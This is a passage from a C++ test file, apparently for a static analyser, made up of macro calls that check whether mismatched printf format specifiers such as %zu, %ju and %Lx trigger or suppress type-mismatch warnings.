char\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%hhx\", \"unsigned char\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%hhx\", \"unsigned char\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%hhx\", \"unsigned char\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hhx\", \"unsigned char\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hhx\", \"unsigned char\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hhx\", \"unsigned char\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hhx\", \"unsigned char\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%hhx\", \"unsigned char\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"bool\");\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"char\");\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"signed char\");\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"signed short\");\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"signed int\");\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"signed long\");\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"signed long long\");\n TEST_PRINTF_NOWARN(\"%Lu\", \"unsigned long long\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"float\");\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"double\");\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"long double\");\n TEST_PRINTF_WARN(\"%Lu\", \"unsigned long long\", \"void *\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%Lu\", \"unsigned long long\", \"size_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA(\"%Lu\", \"unsigned long long\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%Lu\", \"unsigned long long\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%Lu\", \"unsigned long long\", \"unsigned ptrdiff_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA(\"%Lu\", \"unsigned long long\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%Lu\", \"unsigned long long\", \"uintmax_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA(\"%Lu\", \"unsigned long long\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%Lu\", \"unsigned long long\", \"uintptr_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%Lu\", \"unsigned long long\", \"std::size_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Lu\", \"unsigned long long\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Lu\", \"unsigned long long\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Lu\", \"unsigned long long\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%Lu\", \"unsigned long long\", \"std::uintmax_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Lu\", \"unsigned long long\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%Lu\", \"unsigned long long\", \"std::uintptr_t\", \"unsigned long\");\n\n //TODO TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"bool\");\n //TODO TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"char\");\n //TODO TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"signed char\");\n //TODO TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"unsigned char\");\n //TODO TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"signed short\");\n //TODO TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"unsigned short\");\n //TODO TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"signed int\");\n //TODO TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"signed long\");\n TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"signed long long\");\n //TODO TEST_PRINTF_NOWARN(\"%Lx\", \"unsigned long long\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"float\");\n TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"double\");\n TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"long double\");\n TEST_PRINTF_WARN(\"%Lx\", \"unsigned long long\", \"void *\");\n TEST_PRINTF_WARN_AKA(\"%Lx\", \"unsigned long long\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%Lx\", \"unsigned long long\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%Lx\", \"unsigned long long\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%Lx\", \"unsigned long long\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%Lx\", \"unsigned long long\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%Lx\", \"unsigned long long\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%Lx\", \"unsigned long long\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%Lx\", \"unsigned long long\", \"uintptr_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Lx\", \"unsigned long long\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Lx\", \"unsigned long long\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Lx\", \"unsigned long long\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Lx\", \"unsigned long long\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Lx\", \"unsigned long long\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Lx\", \"unsigned long long\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Lx\", \"unsigned long long\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"bool\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"char\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"signed char\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"signed short\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"signed int\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"signed long\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"signed long long\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"float\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"double\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"long double\");\n TEST_PRINTF_WARN(\"%ju\", \"uintmax_t\", \"void *\");\n TEST_PRINTF_WARN_AKA(\"%ju\", \"uintmax_t\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%ju\", \"uintmax_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%ju\", \"uintmax_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%ju\", \"uintmax_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%ju\", \"uintmax_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_NOWARN(\"%ju\", \"uintmax_t\", \"uintmax_t\");\n TEST_PRINTF_WARN_AKA_CPP(\"%ju\", \"uintmax_t\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%ju\", \"uintmax_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%ju\", \"uintmax_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%ju\", \"uintmax_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%ju\", \"uintmax_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"bool\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"char\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"signed char\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"signed short\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"signed int\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"signed long\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"signed long long\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"float\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"double\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"long double\");\n TEST_PRINTF_WARN(\"%jx\", \"uintmax_t\", \"void *\");\n TEST_PRINTF_WARN_AKA(\"%jx\", \"uintmax_t\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%jx\", \"uintmax_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%jx\", \"uintmax_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%jx\", \"uintmax_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%jx\", \"uintmax_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_NOWARN(\"%jx\", \"uintmax_t\", \"uintmax_t\");\n TEST_PRINTF_WARN_AKA_CPP(\"%jx\", \"uintmax_t\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%jx\", \"uintmax_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%jx\", \"uintmax_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%jx\", \"uintmax_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%jx\", \"uintmax_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN_AKA(\"%zd\", \"ssize_t\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%zi\", \"ssize_t\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"bool\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"char\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"signed char\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"signed short\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"signed int\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"signed long\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"signed long long\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"float\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"double\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"long double\");\n TEST_PRINTF_WARN(\"%zu\", \"size_t\", \"void *\");\n TEST_PRINTF_NOWARN(\"%zu\", \"size_t\", \"size_t\");\n TEST_PRINTF_WARN_AKA(\"%zu\", \"size_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%zu\", \"size_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%zu\", \"size_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%zu\", \"size_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%zu\", \"size_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_NOWARN_CPP(\"%zu\", \"size_t\", \"std::size_t\");\n TEST_PRINTF_WARN_AKA_CPP(\"%zu\", \"size_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%zu\", \"size_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%zu\", \"size_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%zu\", \"size_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"bool\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"char\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"signed char\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"signed short\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"signed int\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"signed long\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"signed long long\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"float\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"double\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"long double\");\n TEST_PRINTF_WARN(\"%zx\", \"size_t\", \"void *\");\n TEST_PRINTF_NOWARN(\"%zx\", \"size_t\", \"size_t\");\n TEST_PRINTF_WARN_AKA(\"%zx\", \"size_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%zx\", \"size_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%zx\", \"size_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%zx\", \"size_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%zx\", \"size_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_NOWARN_CPP(\"%zx\", \"size_t\", \"std::size_t\");\n TEST_PRINTF_WARN_AKA_CPP(\"%zx\", \"size_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%zx\", \"size_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%zx\", \"size_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%zx\", \"size_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"bool\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"char\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"signed char\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"signed short\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"signed int\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"signed long\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"signed long long\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"float\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"double\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"long double\");\n TEST_PRINTF_WARN(\"%tu\", \"unsigned ptrdiff_t\", \"void *\");\n TEST_PRINTF_WARN_AKA(\"%tu\", \"unsigned ptrdiff_t\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%tu\", \"unsigned ptrdiff_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%tu\", \"unsigned ptrdiff_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_NOWARN(\"%tu\", \"unsigned ptrdiff_t\", \"unsigned ptrdiff_t\");\n TEST_PRINTF_WARN_AKA(\"%tu\", \"unsigned ptrdiff_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%tu\", \"unsigned ptrdiff_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%tu\", \"unsigned ptrdiff_t\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%tu\", \"unsigned ptrdiff_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%tu\", \"unsigned ptrdiff_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%tu\", \"unsigned ptrdiff_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%tu\", \"unsigned ptrdiff_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"bool\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"char\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"signed char\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"signed short\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"signed int\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"signed long\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"signed long long\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"float\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"double\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"long double\");\n TEST_PRINTF_WARN(\"%tx\", \"unsigned ptrdiff_t\", \"void *\");\n TEST_PRINTF_WARN_AKA(\"%tx\", \"unsigned ptrdiff_t\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%tx\", \"unsigned ptrdiff_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n //TODO TEST_PRINTF_WARN_AKA(\"%tx\", \"unsigned ptrdiff_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_NOWARN(\"%tx\", \"unsigned ptrdiff_t\", \"unsigned ptrdiff_t\");\n TEST_PRINTF_WARN_AKA(\"%tx\", \"unsigned ptrdiff_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%tx\", \"unsigned ptrdiff_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%tx\", \"unsigned ptrdiff_t\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%tx\", \"unsigned ptrdiff_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n //TODO TEST_PRINTF_WARN_AKA_CPP(\"%tx\", \"unsigned ptrdiff_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%tx\", \"unsigned ptrdiff_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%tx\", \"unsigned ptrdiff_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"bool\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"char\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"signed char\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"signed short\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"signed int\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"signed long\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"signed long long\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"float\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"double\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"long double\");\n TEST_PRINTF_WARN(\"%Iu\", \"size_t\", \"void *\");\n TEST_PRINTF_NOWARN(\"%Iu\", \"size_t\", \"size_t\");\n TEST_PRINTF_WARN_AKA(\"%Iu\", \"size_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%Iu\", \"size_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%Iu\", \"size_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%Iu\", \"size_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%Iu\", \"size_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%Iu\", \"size_t\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%Iu\", \"size_t\", \"uintptr_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_NOWARN_CPP(\"%Iu\", \"size_t\", \"std::size_t\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Iu\", \"size_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Iu\", \"size_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Iu\", \"size_t\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Iu\", \"size_t\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Iu\", \"size_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Iu\", \"size_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"bool\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"char\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"signed char\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"signed short\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"signed int\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"signed long\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"signed long long\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"float\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"double\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"long double\");\n TEST_PRINTF_WARN(\"%Ix\", \"size_t\", \"void *\");\n TEST_PRINTF_NOWARN(\"%Ix\", \"size_t\", \"size_t\");\n TEST_PRINTF_WARN_AKA(\"%Ix\", \"size_t\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%Ix\", \"size_t\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%Ix\", \"size_t\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%Ix\", \"size_t\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%Ix\", \"size_t\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%Ix\", \"size_t\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%Ix\", \"size_t\", \"uintptr_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_NOWARN_CPP(\"%Ix\", \"size_t\", \"std::size_t\");\n 